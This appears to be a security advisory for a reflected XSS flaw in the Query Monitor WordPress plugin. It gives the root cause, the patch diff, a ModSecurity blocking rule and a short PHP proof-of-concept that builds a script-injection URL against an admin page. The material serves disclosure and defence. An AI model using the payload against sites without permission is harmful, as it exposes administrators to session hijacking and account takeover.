Atomic Edge analysis of CVE-2026-4267:
Query Monitor versions up to and including 3.20.3 contain a reflected cross-site scripting vulnerability in the `format_url()` function. The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript via the `$_SERVER[‘REQUEST_URI’]` parameter. This vulnerability has a CVSS score of 7.2 (High severity).
The root cause is insufficient output escaping in the `format_url()` method within `/query-monitor/output/Html.php`. The function receives the `$_SERVER[‘REQUEST_URI’]` parameter, which contains the full request URI including query parameters. When the URI contains only a single query parameter (no ‘&’ character), the function returns the URL without applying any escaping. This occurs at line 490 in the vulnerable code: `return $url;`. The function only applies `esc_html()` when the URL contains multiple parameters separated by ‘&’.
Attackers exploit this vulnerability by crafting malicious URLs containing JavaScript payloads in the request URI. The attack vector is a reflected XSS via a single query parameter. An attacker would send a victim a link like `https://target.site/wp-admin/admin.php?page=query-monitor&payload=alert(document.cookie)`. When the victim clicks the link, the Query Monitor plugin processes the request URI through `format_url()`. Since the malicious URI contains only one query parameter (the payload), the function returns the unescaped URL, causing script execution in the victim’s browser.
The patch modifies line 490 in `/query-monitor/output/Html.php` to apply `esc_html()` to all URLs, regardless of the number of query parameters. The change replaces `return $url;` with `return esc_html( $url );`. This ensures proper HTML entity encoding for all URLs processed by the `format_url()` function. The version number updates in other files (3.20.3 to 3.20.4) indicate the patch release.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated WordPress administrator’s session. This can lead to session hijacking, account takeover, content manipulation, or redirection to malicious sites. The vulnerability requires social engineering to trick users into clicking malicious links, but no authentication is required for the initial injection.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/query-monitor/output/Html.php
+++ b/query-monitor/output/Html.php
@@ -487,7 +487,7 @@
public static function format_url( $url ) {
// If there's no query string or only a single query parameter, return the URL as is.
if ( ! str_contains( $url, '&' ) ) {
- return $url;
+ return esc_html( $url );
}
return str_replace( array( '?', '&' ), array( '<br>?', '<br>&' ), esc_html( $url ) );
--- a/query-monitor/query-monitor.php
+++ b/query-monitor/query-monitor.php
@@ -10,7 +10,7 @@
*
* Plugin Name: Query Monitor
* Description: The developer tools panel for WordPress.
- * Version: 3.20.3
+ * Version: 3.20.4
* Plugin URI: https://querymonitor.com/
* Author: John Blackbourn
* Author URI: https://querymonitor.com/
@@ -36,7 +36,7 @@
exit;
}
-define( 'QM_VERSION', '3.20.3' );
+define( 'QM_VERSION', '3.20.4' );
// This must be required before vendor/autoload.php so QM can serve its own message about PHP compatibility.
require_once __DIR__ . '/classes/PHP.php';
--- a/query-monitor/vendor/composer/installed.php
+++ b/query-monitor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'johnbillion/query-monitor',
'pretty_version' => 'dev-release',
'version' => 'dev-release',
- 'reference' => 'aaf140c39daa4060491922df1743483e0da2721b',
+ 'reference' => '66021ef5de7e8025c19a8c0c8724d2f07cbc6b97',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -13,7 +13,7 @@
'johnbillion/query-monitor' => array(
'pretty_version' => 'dev-release',
'version' => 'dev-release',
- 'reference' => 'aaf140c39daa4060491922df1743483e0da2721b',
+ 'reference' => '66021ef5de7e8025c19a8c0c8724d2f07cbc6b97',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
--- a/query-monitor/wp-content/db.php
+++ b/query-monitor/wp-content/db.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Query Monitor Database Class (Drop-in)
* Description: Database drop-in for Query Monitor, the developer tools panel for WordPress.
- * Version: 3.20.3
+ * Version: 3.20.4
* Plugin URI: https://querymonitor.com/
* Author: John Blackbourn
* Author URI: https://querymonitor.com/
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4267
# Blocks reflected XSS exploitation in Query Monitor plugin via REQUEST_URI
# Targets the specific admin endpoint where the vulnerability manifests
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php?page=query-monitor"
"id:10004267,phase:2,deny,status:403,chain,msg:'CVE-2026-4267: Query Monitor Reflected XSS via REQUEST_URI',severity:'CRITICAL',tag:'CVE-2026-4267',tag:'WordPress',tag:'Plugin',tag:'Query-Monitor',tag:'XSS'"
SecRule REQUEST_URI "@rx [<>"']"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,chain"
SecRule REQUEST_URI "@rx (?i:<script|javascript:|onw+s*=)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4267 - Query Monitor <= 3.20.3 - Reflected Cross-Site Scripting via Request URI
<?php
/**
* Proof of Concept for CVE-2026-4267
* Reflected XSS in Query Monitor plugin via REQUEST_URI parameter
*
* Usage: php poc.php --url https://target.site
*/
// Configuration
$target_url = 'https://target.site'; // Change this to target WordPress site
// Generate malicious payload
$payload = '<script>alert(document.domain)</script>';
// Construct attack URL
// Query Monitor admin page with XSS payload in query parameter
$attack_url = $target_url . '/wp-admin/admin.php?page=query-monitor&' . urlencode($payload);
// Display attack vector
echo "Atomic Edge CVE-2026-4267 Proof of Conceptn";
echo "==========================================nn";
echo "Target: $target_urln";
echo "Vulnerable Plugin: Query Monitor <= 3.20.3n";
echo "Vulnerability: Reflected XSS via REQUEST_URInn";
echo "Attack URL:n";
echo "$attack_urlnn";
echo "Explanation:n";
echo "1. The attack URL targets the Query Monitor admin page (/wp-admin/admin.php?page=query-monitor)n";
echo "2. The XSS payload is appended as a query parametern";
echo "3. Query Monitor's format_url() function processes REQUEST_URI without escapingn";
echo "4. When a victim visits this URL, JavaScript executes in their browsernn";
echo "To test:n";
echo "1. Ensure Query Monitor <= 3.20.3 is installed and activatedn";
echo "2. Visit the attack URL in a browser while logged into WordPressn";
echo "3. The alert should display the document.domainn";
// Optional: Use cURL to verify the page loads (won't execute JS)
echo "nVerifying target is accessible...n";
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Target responded with HTTP $http_coden";
} else {
echo "Warning: Target responded with HTTP $http_coden";
}
?>